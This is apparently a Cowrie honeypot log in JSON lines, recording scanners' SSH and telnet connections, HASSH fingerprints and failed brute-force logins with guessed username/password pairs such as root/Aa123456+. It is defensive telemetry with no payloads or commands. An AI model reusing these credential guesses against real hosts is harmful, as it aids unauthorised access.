{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"06c1fc15d43d","protocol":"ssh","message":"New connection: 117.247.23.131:56344 (159.203.135.109:22) [session: 06c1fc15d43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:03.479424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:03.485042Z","src_ip":"117.247.23.131","session":"06c1fc15d43d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:04.259622Z","src_ip":"117.247.23.131","session":"06c1fc15d43d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:07.927812Z","src_ip":"117.247.23.131","session":"06c1fc15d43d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:09.816547Z","src_ip":"117.247.23.131","session":"06c1fc15d43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":3102,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d921201b9b6","protocol":"telnet","message":"New connection: 167.250.105.129:3102 (159.203.135.109:23) [session: 7d921201b9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:10.261602Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33524,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00745a16947","protocol":"ssh","message":"New connection: 159.203.92.129:33524 (159.203.135.109:22) [session: f00745a16947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:20.361777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:20.365977Z","src_ip":"159.203.92.129","session":"f00745a16947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:20.370156Z","src_ip":"159.203.92.129","session":"f00745a16947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adeline","password":"123","message":"login attempt [adeline/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:20.408607Z","src_ip":"159.203.92.129","session":"f00745a16947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:21.414984Z","src_ip":"159.203.92.129","session":"f00745a16947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44104,"dst_ip":"159.203.135.109","dst_port":22,"session":"e54482dd60af","protocol":"ssh","message":"New connection: 159.203.92.129:44104 (159.203.135.109:22) [session: e54482dd60af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:04.581757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:04.587088Z","src_ip":"159.203.92.129","session":"e54482dd60af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:04.597029Z","src_ip":"159.203.92.129","session":"e54482dd60af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adeline","password":"123456","message":"login attempt [adeline/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:04.614145Z","src_ip":"159.203.92.129","session":"e54482dd60af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:05.622343Z","src_ip":"159.203.92.129","session":"e54482dd60af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":52229,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a78fc7fa472","protocol":"ssh","message":"New connection: 117.247.23.131:52229 (159.203.135.109:22) [session: 5a78fc7fa472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:47.479132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:47.484676Z","src_ip":"117.247.23.131","session":"5a78fc7fa472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:48.144085Z","src_ip":"117.247.23.131","session":"5a78fc7fa472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55548,"dst_ip":"159.203.135.109","dst_port":22,"session":"9315c9512d5f","protocol":"ssh","message":"New connection: 159.203.92.129:55548 (159.203.135.109:22) [session: 9315c9512d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:48.510556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:48.517529Z","src_ip":"159.203.92.129","session":"9315c9512d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:48.523604Z","src_ip":"159.203.92.129","session":"9315c9512d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adeline","password":"adeline","message":"login attempt [adeline/adeline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:48.541274Z","src_ip":"159.203.92.129","session":"9315c9512d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:49.548560Z","src_ip":"159.203.92.129","session":"9315c9512d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mt123456","message":"login attempt [root/mt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:51.209687Z","src_ip":"117.247.23.131","session":"5a78fc7fa472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:37:52.907330Z","src_ip":"117.247.23.131","session":"5a78fc7fa472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00951933860779,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:01.599652Z","src_ip":"167.250.105.129","session":"077651474a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":6780,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f33752c306d","protocol":"telnet","message":"New connection: 167.250.105.129:6780 (159.203.135.109:23) [session: 4f33752c306d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:06.319982Z"}
{"eventid":"cowrie.session.closed","duration":120.00523114204407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:10.266695Z","src_ip":"167.250.105.129","session":"7d921201b9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":1758,"dst_ip":"159.203.135.109","dst_port":23,"session":"85802dffbf13","protocol":"telnet","message":"New connection: 167.250.105.129:1758 (159.203.135.109:23) [session: 85802dffbf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:11.829016Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40252,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b51d4ef50c1","protocol":"ssh","message":"New connection: 159.203.92.129:40252 (159.203.135.109:22) [session: 1b51d4ef50c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:32.963517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:32.968255Z","src_ip":"159.203.92.129","session":"1b51d4ef50c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:32.972476Z","src_ip":"159.203.92.129","session":"1b51d4ef50c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adi","password":"123456","message":"login attempt [adi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:32.985775Z","src_ip":"159.203.92.129","session":"1b51d4ef50c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:34.026898Z","src_ip":"159.203.92.129","session":"1b51d4ef50c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":50785,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94555a3fdc6","protocol":"ssh","message":"New connection: 45.79.207.181:50785 (10.17.0.5:22) [session: a94555a3fdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:39.213805Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:40.463083Z","src_ip":"45.79.207.181","session":"a94555a3fdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.202","src_port":2102,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67b04bb4c0e","protocol":"ssh","message":"New connection: 172.236.228.202:2102 (10.17.0.5:22) [session: c67b04bb4c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.298004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.304111Z","src_ip":"172.236.228.202","session":"c67b04bb4c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.368824Z","src_ip":"172.236.228.202","session":"c67b04bb4c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.441975Z","src_ip":"172.236.228.202","session":"c67b04bb4c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.202","src_port":2118,"dst_ip":"10.17.0.5","dst_port":22,"session":"bde40077b8d9","protocol":"ssh","message":"New connection: 172.236.228.202:2118 (10.17.0.5:22) [session: bde40077b8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.501605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:38:56.510072Z","src_ip":"172.236.228.202","session":"bde40077b8d9","protocol":"ssh"}
